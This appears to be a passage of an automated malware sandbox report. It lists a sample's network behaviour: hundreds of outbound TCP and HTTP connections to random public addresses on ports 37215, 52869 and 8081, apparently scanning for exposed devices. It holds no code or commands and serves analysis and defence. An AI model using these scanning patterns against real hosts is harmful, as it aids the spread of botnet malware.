Source: global traffic	TCP traffic: 41.210.71.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 118.76.145.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.185.143.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.39.10.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.90.19.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 105.223.228.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.246.84.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.182.75.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 90.244.51.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.67.155.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.217.21.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.17.89.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 78.127.130.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 109.240.28.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.242.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 190.225.30.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 61.44.50.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.115.129.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.62.163.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.15.100.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 199.200.28.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.143.8.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 35.104.62.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.55.103.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.174.6.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.22.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 131.228.228.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 133.112.9.231 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.210.130.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.162.204.58 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.252.137.223 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.208.243.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.64.181.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 38.34.80.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.165.248.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 116.208.226.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 32.39.5.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.190.94.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.186.208.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.46.20.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.45.109.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 54.120.8.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 188.177.168.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.123.150.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.224.167.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.167.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 216.131.66.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.59.30.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 170.71.94.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.173.225.23 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 198.140.238.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.71.221.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.38.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 171.24.222.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.14.76.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.137.29.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.247.155.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.148.108.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 142.69.246.171 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.175.198.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.32.36.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 40.109.154.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.45.179.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 37.170.254.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.189.90.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 195.58.136.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.168.107.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 114.204.237.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 97.190.36.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 152.149.49.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 106.156.101.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.134.206.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 154.47.229.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 106.24.45.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.42.246.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.202.113.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.139.224.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.229.158.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.191.103.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.59.55.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.42.27.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 76.18.81.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 161.241.18.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.126.223.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 32.67.227.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 109.118.236.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.144.154.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.161.118.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.95.10.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.223.147.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 80.120.104.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.198.217.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.49.55.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.218.13.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 114.145.159.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.86.128.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.56.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 111.209.111.251 ports 2,5,6,8,9,52869

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 32884 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48480 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46804 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54692 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43346 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53164 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51946 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36642 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55198 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45734 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58656 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60328 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34324 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37472 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43090 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37628 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52842 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48176 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54494 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35782 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56208 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33508 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49468 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43168 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58974 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48684 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41922 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44472 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46362 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56392 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59768 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59290 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57312 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38908 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49616 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59598 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39430 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60994 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52694 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38088 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38934 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59900 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48504 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38810 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35566 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56956 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39478 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36692 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58526 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54876 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35266 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57698 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56648 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39428 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34778 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50968 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53966 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37538 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34742 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38498 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35262 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54108 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55328 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35866 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45876 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42356 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52194 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45508 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42512 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34076 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53102 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34854 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58896 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49144 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60188 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37824 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55022 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58708 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48748 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43380 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36260 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53158 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44078 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36246 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59354 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41664 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34248 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43646 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54398 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36832 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45062 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60854 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
